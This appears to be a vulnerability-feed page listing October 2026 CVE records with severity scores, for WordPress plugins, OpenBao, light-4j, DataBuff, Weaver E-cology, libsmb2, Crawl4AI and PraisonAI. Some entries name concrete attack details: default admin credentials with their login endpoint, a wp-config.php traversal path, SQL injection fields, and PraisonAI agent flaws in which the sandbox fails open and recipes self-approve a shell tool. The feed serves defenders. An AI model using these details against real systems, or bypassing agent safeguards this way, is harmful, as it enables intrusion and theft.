The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in... (Oct 23, 2026).
The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comment is published to inject attributes that execute JavaScript in the browser of any visitor, including a logged-in administrator, who views front-end pages while the affected option is enabled.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113499).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113499&date=2026-10-25).
Sources:
NVD CVE-2026-113499: https://nvd.nist.gov/vuln/detail/CVE-2026-113499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113499&date=2026-10-25
The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comment is published to inject attributes that execute JavaScript in the browser of any visitor, including a logged-in administrator, who views front-end pages while the affected option is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute...
https://kevwire.com/record/CVE-2026-113500
The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute... (Oct 23, 2026).
The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comments are published to inject event-handler attributes that run JavaScript in the browser of any visitor, including a logged-in administrator, viewing front-end pages while the optimization is enabled.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113500).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113500&date=2026-10-25).
Sources:
NVD CVE-2026-113500: https://nvd.nist.gov/vuln/detail/CVE-2026-113500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113500&date=2026-10-25
The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comments are published to inject event-handler attributes that run JavaScript in the browser of any visitor, including a logged-in administrator, viewing front-end pages while the optimization is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using...
https://kevwire.com/record/CVE-2026-115365
OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using... (Oct 22, 2026).
OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using specially crafted policy names. Attackers holding such tokens can gain capabilities of cached policies in other namespaces, including the root namespace, to act across namespace boundaries.
CVSS 7.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115365).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115365&date=2026-10-25).
Sources:
NVD CVE-2026-115365: https://nvd.nist.gov/vuln/detail/CVE-2026-115365
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115365&date=2026-10-25
OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using specially crafted policy names. Attackers holding such tokens can gain capabilities of cached policies in other namespaces, including the root namespace, to act across namespace boundaries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter.
https://kevwire.com/record/CVE-2026-115497
The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter. (Oct 23, 2026).
The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires a valid purchase_id token, which any user can obtain by making a single low-cost purchase or receiving a shared download link.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115497).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115497&date=2026-10-25).
Sources:
NVD CVE-2026-115497: https://nvd.nist.gov/vuln/detail/CVE-2026-115497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115497&date=2026-10-25
The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires a valid purchase_id token, which any user can obtain by making a single low-cost purchase or receiving a shared download link.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is...
https://kevwire.com/record/CVE-2026-94262
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is... (Oct 23, 2026).
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is authorised to edit the targeted user account in the update-user action of its front-end Forms module, performing that check only when the target account holds an administrator role, which allows unauthenticated visitors to overwrite any non-administrator account's credentials and obtain a session for that account. Exploitation requires the site to publish a form whose user-update action maps its target to a visitor-submitted value rather than to the default current user.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94262).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94262&date=2026-10-25).
Sources:
NVD CVE-2026-94262: https://nvd.nist.gov/vuln/detail/CVE-2026-94262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94262&date=2026-10-25
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not verify that the requester is authorised to edit the targeted user account in the update-user action of its front-end Forms module, performing that check only when the target account holds an administrator role, which allows unauthenticated visitors to overwrite any non-administrator account's credentials and obtain a session for that account. Exploitation requires the site to publish a form whose user-update action maps its target to a visitor-submitted value rather than to the default current user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check...
https://kevwire.com/record/CVE-2026-94267
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check... (Oct 23, 2026).
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check when updating a post through one of its front-end form actions, allowing unauthenticated visitors to overwrite arbitrary posts, including the ones in which the site stores its own field definitions, which in turn leads to arbitrary code execution on the server. Exploitation requires the site to publish a form whose post-update action maps both its target and its content to visitor-submitted values.
CVSS 9.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94267).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94267&date=2026-10-25).
Sources:
NVD CVE-2026-94267: https://nvd.nist.gov/vuln/detail/CVE-2026-94267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94267&date=2026-10-25
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check when updating a post through one of its front-end form actions, allowing unauthenticated visitors to overwrite arbitrary posts, including the ones in which the site stores its own field definitions, which in turn leads to arbitrary code execution on the server. Exploitation requires the site to publish a form whose post-update action maps both its target and its content to visitor-submitted values.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the...
https://kevwire.com/record/CVE-2026-94268
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the... (Oct 23, 2026).
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the update-user action in its front-end Forms module consistently between the stage that authorises the request and the stage that carries it out, which allows unauthenticated visitors to bypass the guard protecting administrator accounts, take over the site administrator's account and be issued a valid session for it. Exploitation requires the site to publish two separate front-end form configurations whose targets are mapped to visitor-submitted values.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94268).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94268&date=2026-10-25).
Sources:
NVD CVE-2026-94268: https://nvd.nist.gov/vuln/detail/CVE-2026-94268
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94268&date=2026-10-25
The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not resolve the target of the update-user action in its front-end Forms module consistently between the stage that authorises the request and the stage that carries it out, which allows unauthenticated visitors to bypass the guard protecting administrator accounts, take over the site administrator's account and be issued a valid session for it. Exploitation requires the site to publish two separate front-end form configurations whose targets are mapped to visitor-submitted values.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated...
https://kevwire.com/record/CVE-2026-113682
Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated... (Oct 20, 2026).
Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated users. Attackers can send a Basic Authorization header with a known username and empty password, triggering an unauthenticated LDAP bind that is accepted as successful authentication.
CVSS 9.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113682).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113682&date=2026-10-25).
Sources:
NVD CVE-2026-113682: https://nvd.nist.gov/vuln/detail/CVE-2026-113682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113682&date=2026-10-25
Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated users. Attackers can send a Basic Authorization header with a known username and empty password, triggering an unauthenticated LDAP bind that is accepted as successful authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in...
https://kevwire.com/record/CVE-2026-111693
DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in... (Oct 16, 2026).
DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in admin/Databuff@123 account. Attackers can POST these credentials to /webapi/api/v1/auth/login to obtain an administrator token and access all protected /webapi routes.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111693).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111693&date=2026-10-25).
Sources:
NVD CVE-2026-111693: https://nvd.nist.gov/vuln/detail/CVE-2026-111693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111693&date=2026-10-25
DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in admin/Databuff@123 account. Attackers can POST these credentials to /webapi/api/v1/auth/login to obtain an administrator token and access all protected /webapi routes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with...
https://kevwire.com/record/CVE-2025-71434
Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with... (Oct 22, 2026).
Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with srcType=2. Attackers can inject SQL through doc_datefrom/doc_dateto fields and read results via /api/ec/dev/table/counts to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-19.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71434).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71434&date=2026-10-25).
Sources:
NVD CVE-2025-71434: https://nvd.nist.gov/vuln/detail/CVE-2025-71434
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71434&date=2026-10-25
Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with srcType=2. Attackers can inject SQL through doc_datefrom/doc_dateto fields and read results via /api/ec/dev/table/counts to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href...
https://kevwire.com/record/CVE-2012-20002
TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href... (Oct 20, 2026).
TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href parameter. Attackers can send GET requests to /php/download-image.php with traversal sequences like ../../../../wp-config.php to retrieve database credentials and system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2012-20002).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-20002&date=2026-10-25).
Sources:
NVD CVE-2012-20002: https://nvd.nist.gov/vuln/detail/CVE-2012-20002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-20002&date=2026-10-25
TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href parameter. Attackers can send GET requests to /php/download-image.php with traversal sequences like ../../../../wp-config.php to retrieve database credentials and system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes.
https://kevwire.com/record/CVE-2026-115505
libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes. (Oct 22, 2026).
libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes. A malicious SMB server or machine-in-the-middle on unsigned connections can send crafted NetrShareEnum replies with wrapping actual_count or max_count values when clients call smb2_share_enum_async(), corrupting heap memory.
CVSS 7.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115505).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115505&date=2026-10-25).
Sources:
NVD CVE-2026-115505: https://nvd.nist.gov/vuln/detail/CVE-2026-115505
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115505&date=2026-10-25
libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes. A malicious SMB server or machine-in-the-middle on unsigned connections can send crafted NetrShareEnum replies with wrapping actual_count or max_count values when clients call smb2_share_enum_async(), corrupting heap memory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded...
https://kevwire.com/record/CVE-2026-115508
Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded... (Oct 22, 2026).
Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded regular expressions in /crawl request bodies. Attackers can submit catastrophic-backtracking patterns via RegexExtractionStrategy.custom, RegexChunking.patterns or JsonCss, JsonXPath and JsonLxml schema regex fields against a crafted page to freeze the entire server, including /health.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115508).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115508&date=2026-10-25).
Sources:
NVD CVE-2026-115508: https://nvd.nist.gov/vuln/detail/CVE-2026-115508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115508&date=2026-10-25
Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded regular expressions in /crawl request bodies. Attackers can submit catastrophic-backtracking patterns via RegexExtractionStrategy.custom, RegexChunking.patterns or JsonCss, JsonXPath and JsonLxml schema regex fields against a crafted page to freeze the entire server, including /health.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57146
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.115 to before version 4.6.61, the published A2U advisory GHSA-f292-66h9-fpmf says unauthenticated A2U event streaming was fixed in praisonai 4.5.115. Current head still exposes the same A2U subscription and event routes without authentication when the operator starts the documented CLI entrypoint. The current CLI wrapper does not expose --api-key, does not install the common API-key middleware, and does not generate a token for A2U. It calls create_a2u_routes(app) directly. That helper only enforces auth if A2U_AUTH_TOKEN is already present; if the variable is missing, _authenticate_request() returns None and treats auth as disabled. This issue has been patched in version 4.6.61.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57146).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57146&date=2026-10-25).
Sources:
NVD CVE-2026-57146: https://nvd.nist.gov/vuln/detail/CVE-2026-57146
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57146&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.115 to before version 4.6.61, the published A2U advisory GHSA-f292-66h9-fpmf says unauthenticated A2U event streaming was fixed in praisonai 4.5.115. Current head still exposes the same A2U subscription and event routes without authentication when the operator starts the documented CLI entrypoint. The current CLI wrapper does not expose --api-key, does not install the common API-key middleware, and does not generate a token for A2U. It calls create_a2u_routes(app) directly. That helper only enforces auth if A2U_AUTH_TOKEN is already present; if the variable is missing, _authenticate_request() returns None and treats auth as disabled. This issue has been patched in version 4.6.61.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57144
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.110 to before version 4.6.61, praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False. On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config). That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False. This issue has been patched in version 4.6.61.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57144).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57144&date=2026-10-25).
Sources:
NVD CVE-2026-57144: https://nvd.nist.gov/vuln/detail/CVE-2026-57144
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57144&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.110 to before version 4.6.61, praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False. On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config). That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False. This issue has been patched in version 4.6.61.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57142
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.61, PraisonAI recipe execution has a dangerous-tool policy that is supposed to block default-denied tools unless the caller explicitly passes allow_dangerous_tools=True. That policy only checks tools declared in TEMPLATE.yaml requires.tools. For steps-based recipes, the actual execution path loads workflow.yaml with YAMLWorkflowParser. That parser resolves agent-level tools: declarations and preserves top-level approve:. Workflow.start() then installs those YAML-approved tools into the approval context. As a result, an untrusted recipe can omit execute_command from TEMPLATE.yaml requires.tools, declare it in workflow.yaml agents.*.tools, and add top-level approve: [execute_command]. The caller did not set allow_dangerous_tools=True, but the recipe policy allows the recipe and the workflow approval path self-approves the critical shell tool. This issue has been patched in version 4.6.61.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57142).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57142&date=2026-10-25).
Sources:
NVD CVE-2026-57142: https://nvd.nist.gov/vuln/detail/CVE-2026-57142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57142&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.61, PraisonAI recipe execution has a dangerous-tool policy that is supposed to block default-denied tools unless the caller explicitly passes allow_dangerous_tools=True. That policy only checks tools declared in TEMPLATE.yaml requires.tools. For steps-based recipes, the actual execution path loads workflow.yaml with YAMLWorkflowParser. That parser resolves agent-level tools: declarations and preserves top-level approve:. Workflow.start() then installs those YAML-approved tools into the approval context. As a result, an untrusted recipe can omit execute_command from TEMPLATE.yaml requires.tools, declare it in workflow.yaml agents.*.tools, and add top-level approve: [execute_command]. The caller did not set allow_dangerous_tools=True, but the recipe policy allows the recipe and the workflow approval path self-approves the critical shell tool. This issue has been patched in version 4.6.61.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
